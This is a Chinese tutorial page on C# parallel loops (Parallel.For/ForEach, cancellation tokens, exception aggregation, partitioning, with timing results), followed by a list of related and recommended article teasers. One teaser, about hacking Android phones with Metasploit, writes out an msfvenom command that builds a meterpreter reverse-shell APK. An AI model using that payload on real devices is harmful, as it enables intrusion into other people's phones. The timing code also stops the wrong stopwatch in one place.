初识并行循环

并行循环主要用来处理数据并行的,如,同时对数组或列表中的多个数据执行相同的操作。

在C#编程中,我们使用并行类System.Threading.Tasks.Parallel提供的静态方法Parallel.ForParallel.ForEach来实现并行循环。从方法名可以看出,这两个方法是对常规循环forforeach的并行化。

简单用法

使用并行循环时需要传入循环范围(集合)和操作数据的委托Action<T>

Parallel.For(0, 100, i => { Console.WriteLine(i); });

Parallel.ForEach(Enumerable.Range(0, 100), i => { Console.WriteLine(i); });

使用场景

对于数据的处理需要耗费较长时间的循环适宜使用并行循环,利用多线程加快执行速度。

对于简单的迭代操作,且迭代范围较小,使用常规循环更好好,因为并行循环涉及到线程的创建、上下文切换和销毁,使用并行循环反而影响执行效率。

对于迭代操作简单但迭代范围很大的情况,我们可以对数据进行分区,再执行并行循环,减少线程数量。

循环结果

Parallel.ForParallel.ForEach方法的所有重载有着同样的返回值类型ParallelLoopResult,并行循环结果包含循环是否完成以及最低迭代次数两项信息。

下面的例子使用Parallel.ForEach展示了并行循环的结果。

ParallelLoopResult result = Parallel.ForEach(Enumerable.Range(0, 100), (i,loop) =>
{// 委托传入ParallelLoopState,用来控制循环执行
Console.WriteLine(i + 1);
Thread.Sleep(100);
if (i == 30) // 此处设置循环停止的确切条件
{
loop.Break();
//loop.Stop();
}
});
Console.WriteLine($"{result.IsCompleted}-{result.LowestBreakIteration}");

值得一提的是,循环的Break()Stop()只能尽早地跳出或者停止循环,而不能立即停止。

取消循环操作

有时候,我们需要在中途取消循环操作,但又不知道确切条件是什么,比如用户触发的取消。这时候,可以利用循环的ParallelOptions传入一个CancellationToken,同时使用异常处理捕获OperationCanceledException以进行取消后的处理。下面是一个简单的例子。

/// <summary>
/// 取消通知者
/// </summary>
public static CancellationTokenSource CTSource { get; set; } = new CancellationTokenSource(); /// <summary>
/// 取消并行循环
/// </summary>
public static void CancelParallelLoop()
{
Task.Factory.StartNew(() =>
{
try
{
Parallel.ForEach(Enumerable.Range(0, 100), new ParallelOptions { CancellationToken = CTSource.Token },
i =>
{
Console.WriteLine(i + 1);
Thread.Sleep(1000);
});
}
catch (OperationCanceledException oce)
{
Console.WriteLine(oce.Message);
}
});
}
static void Main(string[] args)
{
ParallelDemo.CancelParallelLoop();
Thread.Sleep(3000);
ParallelDemo.CTSource.Cancel(); Console.ReadKey();
}

循环异常收集

并行循环执行过程中,可以捕获并收集迭代操作引发的异常,循环结束时抛出一个AggregateException异常,并将收集到的异常赋给它的内部异常集合InnerExceptions。外部使用时,捕获AggregateException,即可进行并行循环的异常处理。

下面的例子模拟了并行循环的异常抛出、收集及处理的过程。

/// <summary>
/// 捕获循环异常
/// </summary>
public static void CaptureTheLoopExceptions()
{
ConcurrentQueue<Exception> exceptions = new ConcurrentQueue<Exception>();
Parallel.ForEach(Enumerable.Range(0, 100), i =>
{
try
{
if (i % 10 == 0)
{//模拟抛出异常
throw new Exception($"{DateTime.Now}=> Thread-[{Thread.CurrentThread.ManagedThreadId}] had thrown a exception. [{i}]");
}
Console.WriteLine(i + 1);
Thread.Sleep(100);
}
catch (Exception ex)
{//捕获并收集异常
exceptions.Enqueue(ex);
}
}); if (!exceptions.IsEmpty)
{// 方法内部可直接进行异常处理,若需外部处理,将收集到的循环异常抛出
throw new AggregateException(exceptions);
}
}

外部处理方式

try
{
ParallelDemo.CaptureTheLoopExceptions();
}
catch (AggregateException aex)
{
foreach (Exception ex in aex.InnerExceptions)
{// 模拟异常处理
Console.WriteLine(ex.Message);
}
}

分区并行处理

当循环操作很简单,迭代范围很大的时候,ParallelLoop提供一种分区的方式来优化循环性能。下面的例子展示了分区循环的使用,同时也能比较几种循环方式的执行效率。

/// <summary>
/// 分区并行处理,顺便比较各种循环的效率
/// </summary>
/// <param name="rangeSize">迭代范围</param>
/// <param name="opDuration">操作耗时</param>
public static void PartationParallelLoop(int rangeSize = 10000, int opDuration = 1)
{
//PartationParallelLoopWithBuffer
Stopwatch watch0 = Stopwatch.StartNew();
Parallel.ForEach(Partitioner.Create(Enumerable.Range(0, rangeSize), EnumerablePartitionerOptions.None),
i =>
{//模拟操作
Console.WriteLine($"{DateTime.Now}=> Thread-[{Thread.CurrentThread.ManagedThreadId}] was running. [{i}]");
Thread.Sleep(opDuration);
});
watch0.Stop(); //PartationParallelLoopWithoutBuffer
Stopwatch watch1 = Stopwatch.StartNew();
Parallel.ForEach(Partitioner.Create(Enumerable.Range(0, rangeSize),EnumerablePartitionerOptions.NoBuffering),
i =>
{//模拟操作
Console.WriteLine($"{DateTime.Now}=> Thread-[{Thread.CurrentThread.ManagedThreadId}] was running. [{i}]");
Thread.Sleep(opDuration);
});
watch1.Stop(); //NormalParallelLoop
Stopwatch watch2 = Stopwatch.StartNew();
Parallel.ForEach(Enumerable.Range(0, rangeSize),
i =>
{//模拟操作
Console.WriteLine($"{DateTime.Now}=> Thread-[{Thread.CurrentThread.ManagedThreadId}] was running. [{i}]");
Thread.Sleep(opDuration);
});
watch2.Stop(); //NormalLoop
Stopwatch watch3 = Stopwatch.StartNew();
foreach (int i in Enumerable.Range(0, rangeSize))
{//模拟操作
Console.WriteLine($"{DateTime.Now}=> Thread-[{Thread.CurrentThread.ManagedThreadId}] was running. [{i}]");
Thread.Sleep(opDuration);
}
watch2.Stop(); Console.WriteLine();
Console.WriteLine($"PartationParallelLoopWithBuffer => {watch0.ElapsedMilliseconds}ms");
Console.WriteLine($"PartationParallelLoopWithoutBuffer => {watch1.ElapsedMilliseconds}ms");
Console.WriteLine($"NormalParallelLoop => {watch2.ElapsedMilliseconds}ms");
Console.WriteLine($"NormalLoop => {watch3.ElapsedMilliseconds}ms");
}

在 I7-7700HQ + 16GB 配置 VS调试模式下得到下面一组测试结果。

Loop Condition PartationParallelLoop WithBuffer PartationParallelLoop WithoutBuffer Normal ParallelLoop Normal Loop
10000,1 10527 11799 11155 19434
10000,1 9513 11442 11048 19354
10000,1 9871 11391 14782 19154
100,1000 9107 5951 5081 100363
100,1000 9086 5974 5187 100162
100,1000 9208 5125 5255 100239
100,1 350 439 243 200
100,1 390 227 166 198
100,1 466 225 84 197

应该根据不同的应用场景选择合适的循环策略,具体如何选择,朋友们可自行体会~

C#并行编程(3):并行循环的更多相关文章

  1. .NET 并行编程——任务并行

    本文内容 并行编程 任务并行 隐式创建和运行任务 显式创建和运行任务 任务 ID 任务创建选项 创建任务延续 创建分离的子任务 创建子任务 等待任务完成 组合任务 任务中的异常处理 取消任务 Task ...

  2. .NET 并行编程——数据并行

    本文内容 并行编程 数据并行 环境 计算 PI 矩阵相乘 把目录中的全部图片复制到另一个目录 列出指定目录中的所有文件,包括其子目录 最近,对多线程编程,并行编程,异步编程,这三个概念有点晕了,之前我 ...

  3. 一、并行编程 - 数据并行 System.Threading.Tasks.Parallel 类

    一.并行概念 1.并行编程 在.NET 4中的并行编程是依赖Task Parallel Library(后面简称为TPL) 实现的.在TPL中,最基本的执行单元是task(中文可以理解为"任 ...

  4. Delphi XE7并行编程: 并行For循环

    从Delphi XE7开始,引入了全新的并行编程库用于简化并行编程,它位于System.Threading单元中. 下面是一个判断素数的简单例子:function IsPrime (N: Intege ...

  5. .NET并行编程1 - 并行模式

    设计模式——.net并行编程,清华大学出版的中译本. 相关资源地址主页面: http://parallelpatterns.codeplex.com/ 代码下载: http://parallelpat ...

  6. 【读书笔记】.Net并行编程(三)---并行集合

    为了让共享的数组,集合能够被多线程更新,我们现在(.net4.0之后)可以使用并发集合来实现这个功能.而System.Collections和System.Collections.Generic命名空 ...

  7. .Net多线程 并行编程(三)---并行集合

    为了让共享的数组,集合能够被多线程更新,我们现在(.net4.0之后)可以使用并发集合来实现这个功能. 而System.Collections和System.Collections.Generic命名 ...

  8. C#并行编程中的Parallel.Invoke

    一.基础知识 并行编程:并行编程是指软件开发的代码,它能在同一时间执行多个计算任务,提高执行效率和性能一种编程方式,属于多线程编程范畴.所以我们在设计过程中一般会将很多任务划分成若干个互相独立子任务, ...

  9. Parallel并行编程

    Parallel并行编程 Parallel并行编程可以让我们使用极致的使用CPU.并行编程与多线程编程不同,多线程编程无论怎样开启线程,也是在同一个CPU上切换时间片.而并行编程则是多CPU核心同时工 ...

  10. C#并行编程

    C#并行编程中的Parallel.Invoke 一.基础知识 并行编程:并行编程是指软件开发的代码,它能在同一时间执行多个计算任务,提高执行效率和性能一种编程方式,属于多线程编程范畴.所以我们在设计过 ...

随机推荐

  1. Activity四种启动模式与Flag及affinity属性详解

    Activity有四种加载模式:standard(默认).singleTop.singleTask.singleInstance standard:Activity的默认加载模式,即使某个Activi ...

  2. swift中闭包的学习。

    在swift中的闭包等同于OC中的block,它的用途就是在于可以包装一段代码在必要的时候进行调用. 闭包定义:  {(类型列表) -> 返回值 in // 多条swift语句 // 执行代码 ...

  3. stderr 和stdout

    今天又查了一下fprintf,其中对第一个参数stderr特别感兴趣. int fprintf(FILE *stream,char *format,[argument]): 在此之前先区分一下:pri ...

  4. Python学习之not,and,or篇

    Python学习之not,and,or篇 运算符示意 not –表示取反运算. and –表示取与运算. or –表示取或运算. 运算符优先级 not > and > or. 举例如下: ...

  5. /etc/profile 路径出错后相关的命令失效解决方式

    关于 Linux 的配置文件 /etc/profile 路径出错后相关的命令失效解决方式(如:ls,vi不能用) 今天学习LINUX 下配置jdk 和安装tomcat 通过VI编辑/etc/profi ...

  6. kerberos介绍

    重要术语 1. KDC 全称:key distributed center 作用:整个安全认证过程的票据生成管理服务,其中包含两个服务,AS和TGS 2. AS 全称:authentication s ...

  7. 擅于使用JS的eval方法

    样例如下: var appsDetails = {“app1”:"", “app2”:"", “app3”:"", “app4”:" ...

  8. idea开发swing(二)

    闲话少说,书接idea开发swing(一). 程序编译完成后,需要打包发布,如果有fat_jar的同学可以通过该插件打包,这里是使用ant来打包,步骤如下: 一.编写build.xml <?xm ...

  9. MSF初体验—入侵安卓手机

    1.生成apk程序 msfvenom -p android/meterpreter/reverse_tcp LHOST=192.168.1.101 LPORT=5555 R > apk.apk ...

  10. 【splunk】用正则表达式提取字段

    设input输入数据为 http://192.168.23.121/xxx  想提取出里面的ip,可以用rex source="xxx.csv" |rex field=input ...